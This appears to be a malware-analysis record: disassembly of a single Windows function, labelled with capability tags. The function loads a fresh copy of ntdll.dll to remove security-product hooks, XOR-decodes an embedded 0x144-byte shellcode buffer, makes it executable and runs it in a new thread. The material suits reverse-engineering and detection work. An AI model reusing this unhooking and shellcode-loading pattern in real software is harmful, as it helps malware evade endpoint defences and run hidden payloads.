Function at 0x140001230
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Get common file path
Read file via mapping
Spawn thread to rwx shellcode

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x180
movaps xmmword [rax - 0x18], xmm6
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x160], rax
movdqa xmm6, xmmword [str._b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_]
lea rcx, [rsp + 0x50]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea r8, str._ntdll.dll
mov edx, 0x104
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
xor ebp, ebp
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x30], rbp
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [rbp + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1400012dc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateFileA_Failed_With_Error_:__d__n
call fcn.140001010
jmp 0x140001381
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x50]
call fcn.140001590
mov rcx, rax
lea rdx, [0x140001760]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor r9d, r9d
mov qword [rsp + 0x28], rbp
xor edx, edx
mov dword [rsp + 0x20], ebp
mov r8d, 0x11000002
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov rdi, rax
test rax, rax
jne 0x14000133b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_open_a_file_mapping_object_to_ntdll___u__n
call fcn.140001010
mov rcx, rbx
jmp 0x14000137b
xor r9d, r9d
mov qword [rsp + 0x20], rbp
xor r8d, r8d
mov rcx, rdi
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rsi, rax
test rax, rax
jne 0x140001397
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_map_ntdll___u__n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.Failed_to_fetch_ntdll_from_disk_n
call fcn.140001010
mov eax, 1
jmp 0x1400014e4
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov rdx, rsi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov rcx, rax
lea rdx, [0x140001760]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rsi
call fcn.140001070
test eax, eax
jne 0x1400013d9
lea rcx, str.Failed_to_unhook_ntdll_n
call fcn.140001010
mov eax, 1
jmp 0x1400014e4
lea rcx, str.Successfully_unhooked_ntdll_n
call fcn.140001010
mov rax, rbp
lea rcx, [0x1400050a0]
lea rdx, [0x1400050b0]
lea rdi, [0x140005080]
nop dword [rax]
movdqu xmm0, xmmword [rdi + rax]
movdqa xmm1, xmm6
xorps xmm0, xmm6
movdqu xmmword [rdi + rax], xmm0
movdqu xmm0, xmmword [rax + rdi + 0x10]
xorps xmm1, xmm0
movdqu xmmword [rax + rdi + 0x10], xmm1
movdqu xmm0, xmmword [rcx + rax]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rcx + rax], xmm1
movdqu xmm0, xmmword [rdx + rax]
xorps xmm0, xmm6
movdqu xmmword [rdx + rax], xmm0
add rax, 0x40
cmp rax, 0x140
jb 0x140001400
cmp rax, 0x144
jae 0x14000146f
nop dword [rax]
nop word [rax + rax]
xor byte [rax + rdi], 8
inc rax
cmp rax, 0x144
jb 0x140001460
xor ecx, ecx
mov dword [rsp + 0x40], ebp
mov edx, 0x144
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, 0x144
mov rdx, rdi
mov rcx, rax
mov rbx, rax
call sub.VCRUNTIME140.dll_memmove
lea r9, [rsp + 0x40]
mov edx, 0x144
mov r8d, 0x20
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400014e2
mov qword [rsp + 0x28], rbp
xor r9d, r9d
mov r8, rbx
mov dword [rsp + 0x20], ebp
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.1400017b0
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rdi
ret